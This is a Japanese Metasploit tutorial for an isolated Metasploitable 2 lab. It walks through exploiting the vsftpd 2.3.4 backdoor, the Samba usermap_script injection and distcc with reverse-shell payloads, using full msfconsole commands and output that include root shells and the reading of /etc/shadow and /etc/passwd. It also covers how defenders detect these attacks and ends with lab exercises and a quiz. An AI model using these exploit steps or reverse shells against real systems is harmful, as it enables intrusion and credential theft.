Metasploit Framework とは

Metasploit Framework は、Rapid7が開発・メンテナンスするオープンソースのペネトレーションテストフレームワークです。2003年の登場以来、セキュリティ専門家・研究者がシステムの脆弱性を検証するための標準ツールとして世界中で使用されています。

Metasploitの主な構成要素:

コンポーネント説明
Exploit脆弱性を突いてターゲットシステムに侵入するコード
Payload侵入後にターゲット上で実行されるコード(Meterpreterなど)
Auxiliaryスキャン・フィンガープリントなど攻撃以外の補助モジュール
Post侵入後の情報収集・権限昇格などのモジュール
Encoderペイロードをエンコードして検知を回避するモジュール
演習環境の隔離を徹底すること

このレッスンで使用するすべてのコマンドは、Metasploitable 2/3 専用の隔離されたホストオンリー仮想ネットワーク内のみで実行してください。Metasploitはインターネット上や許可されていないシステムへの使用は不正アクセス禁止法・コンピュータ詐欺法に違反し、刑事罰の対象となります。実習前に必ず「01 演習環境構築」でネットワーク隔離を確認してください。

演習環境の確認

実習を始める前に、Kali LinuxとMetasploitable 2が同一のホストオンリーネットワーク上にいることを確認します。

# Kali Linux 側で確認

ip addr show eth1

# 例: inet 192.168.56.102/24

# Metasploitable 2 のIPアドレスにpingが通るか確認

ping -c 3 192.168.56.101

# PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.

# 64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.45 ms

# Nmapで事前スキャンしてターゲットの全体像を把握

sudo nmap -sV -p- 192.168.56.101

Metasploitable 2 の主な脆弱なサービス

Metasploitable 2 には教育目的で意図的に多数の脆弱なサービスが含まれています。主なものを挙げると、vsftpd 2.3.4(バックドア)、OpenSSH 4.7p1(古い実装)、Samba 3.0.20(username mapコマンドインジェクション)、UnrealIRCd(バックドア)、distccd などがあります。

msfconsole の基本操作

# Metasploit Framework を起動

msfconsole

# 起動後のプロンプト

# msf6 >

# ヘルプの表示

msf6 > help

# モジュールの検索

msf6 > search vsftpd

# Matching Modules

# ================

# Name Disclosure Date Rank Check

# ---- --------------- ---- -----

# exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No

# モジュールの詳細情報を表示

msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

# モジュールを選択

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

# 現在のオプションを確認

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

実習 1 — vsftpd 2.3.4 バックドアの悪用

vsftpd 2.3.4 は2011年7月に公式配布パッケージにバックドアが混入した事件で知られています。ユーザー名末尾に「:)」を付けるとポート6200でバックドアシェルが開くという仕組みです。

# モジュールを選択してオプションを設定

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# ターゲットIPを設定

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101

# RHOSTS => 192.168.56.101

# ペイロードを確認(このexploitはcmd/unixを使用)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

# 実行

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

# [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)

# [*] 192.168.56.101:21 - USER: 331 Please specify the password.

# [+] 192.168.56.101:21 - Backdoor service has been spawned, handling…

# [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)

# [*] Found shell.

# [*] Command shell session 1 opened

# バックドアシェルでのコマンド実行

id

# uid=0(root) gid=0(root) groups=0(root)

whoami

# root

uname -a

# Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008

# セッションを終了

exit

この脆弱性の教訓

vsftpd 2.3.4 の事件はサプライチェーン攻撃の典型例です。正規のパッケージにバックドアが混入されるケースは現在も継続する脅威です。ソフトウェアのハッシュ検証・信頼できるリポジトリからの取得・定期的なアップデートが重要な対策となります。

実習 2 — Samba のコマンドインジェクション(usermap_script)

Samba 3.0.20 には username map script オプションにコマンドインジェクションの脆弱性があります(CVE-2007-2447)。

# 新しいモジュールを検索・選択

msf6 > search samba usermap

# exploit/multi/samba/usermap_script 2007-05-14 excellent No

msf6 > use exploit/multi/samba/usermap_script

# オプションの設定

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101

# RHOSTS => 192.168.56.101

# Reverse TCPペイロードを設定(攻撃者側に接続させる)

msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_netcat

# PAYLOAD => cmd/unix/reverse_netcat

# 自分(Kali)のIPアドレスを設定

msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102

# LHOST => 192.168.56.102

# 全設定を確認

msf6 exploit(multi/samba/usermap_script) > show options

# Name Current Setting Required Description

# ---- --------------- -------- -----------

# RHOSTS 192.168.56.101 yes Target IP

# RPORT 139 yes Target port (TCP)

# LHOST 192.168.56.102 yes Listen address

# LPORT 4444 yes Listen port

# 実行

msf6 exploit(multi/samba/usermap_script) > run

# [*] Started reverse TCP handler on 192.168.56.102:4444

# [*] Command shell session 2 opened (192.168.56.102:4444 -> 192.168.56.101:…)

# [*] Found shell.

# rootシェルでの操作

id

# uid=0(root) gid=0(root)

cat /etc/shadow | head -5

# root:$1$/…/…(パスワードハッシュが見える)

実習 3 — Meterpreter セッションの活用

Meterpreterはメモリ上で動作する高機能なペイロードで、より多くの情報収集・操作が可能です。

# Metasploitable 2 の distccd 脆弱性を使用

msf6 > use exploit/unix/misc/distcc_exec

msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.101 msf6 exploit(unix/misc/distcc_exec) > set PAYLOAD cmd/unix/reverse_bash msf6 exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.102 msf6 exploit(unix/misc/distcc_exec) > run

# --- Meterpreter を持つ例(linux/x86/meterpreter/reverse_tcp)---

# Meterpreter セッションが開いた場合の操作例:

meterpreter > sysinfo

# Computer : metasploitable

# OS : Linux 2.6.24-16-server #1 SMP

# Architecture : i686

# Meterpreter : x86/linux

meterpreter > getuid

# Server username: root

meterpreter > ls /home

# Listing: /home

# d msfadmin

# d user

# ファイルのダウンロード(証拠保全の演習として)

meterpreter > download /etc/passwd /tmp/metasploitable_passwd.txt

# ネットワーク情報の収集

meterpreter > ifconfig

# プロセス一覧

meterpreter > ps

# セッションをバックグラウンドに移動

meterpreter > background

# [*] Backgrounding session 1…

# セッション一覧の確認

msf6 > sessions -l

# Active sessions

# ===============

# Id Name Type Connection

# — ---- ---- ----------

# 1 meterpreter x86/linux 192.168.56.102:4444 -> 192.168.56.101:…

# セッションへの再接続

msf6 > sessions -i 1

Meterpreter の特徴

Meterpreterはターゲットのディスクに書き込まずメモリ上で動作するため、フォレンジック的な痕跡が残りにくい設計です。これが実際の攻撃者に好まれる理由であり、防御側がメモリフォレンジックやEDR(Endpoint Detection and Response)を重視する理由でもあります。

防御側の視点:攻撃の検出

攻撃を理解したうえで、防御側がどのように検出するかを学びます。

ネットワーク側での検出:

  • FTP接続後にポート6200への接続が発生する(vsftpdバックドアの特徴的なパターン)
  • SMBポート(139/445)から発信方向のTCP接続(Samba reverse shell)
  • IDS/IPS のシグネチャ(Snort ルール sid:3004,3005 など Metasploit 関連)

ホスト側での検出:

  • /var/log/auth.log/var/log/syslog への異常なエントリ
  • 新しいプロセスの生成(特に root 権限の unexpecte な bash/sh)
  • netstat -antp で予期しないLISTEN/ESTABLISHEDポート

# ターゲット側(別ターミナルでMetasploitable 2 に直接ログインして確認)

# SSH等でMetasploitable 2 にログイン後:

# 認証ログの確認

sudo tail -50 /var/log/auth.log

# ネットワーク接続の確認

netstat -antp | grep ESTABLISHED

# 予期しないリスニングポートの確認

netstat -antp | grep LISTEN

# 最近実行されたプロセスの確認

ps aux —sort=-%cpu | head -20


やってみよう — 演習ミッション

演習ミッション

以下の課題を Metasploitable 2 を使って自分の手で試してみましょう。

ミッション 1(基礎): search コマンドを使って UnrealIRCd のバックドアモジュールを見つけ、セッションを確立してください。(ヒント:search unreal

ミッション 2(応用): db_nmap コマンドを使ってスキャン結果をMetasploitのデータベースに保存し、hosts / services コマンドで結果を閲覧してください。(ヒント:先に msfdb init でDBを初期化)

ミッション 3(発展): 取得したシェルセッションから /etc/shadow のハッシュを入手し、次のレッスン(Hashcat)で使うための hashes.txt を作成してください。


トラブルシューティング

症状原因対処法
Exploit completed, but no session was createdターゲットがパッチ済み/バージョンが違うnmap -sV でバージョンを再確認
Connection refusedサービスが起動していないMetasploitable 2 を再起動し、サービスが動作しているか確認
Handler failed to bindLHOSTのポートが使用中set LPORT 5555 などで別ポートに変更
msfconsole が起動しないPostgreSQLサービスが停止中sudo service postgresql start && msfdb reinit
セッションが即座に切断される不安定な接続-j オプションでバックグラウンド実行後、sessions -i で接続

# PostgreSQLサービスを起動

sudo service postgresql start

# Metasploitデータベースを初期化(初回のみ)

sudo msfdb init

# データベースの状態確認

msfdb status

# 再度起動

msfconsole


理解度チェック

Metasploit の「Payload」とはどれを指しますか?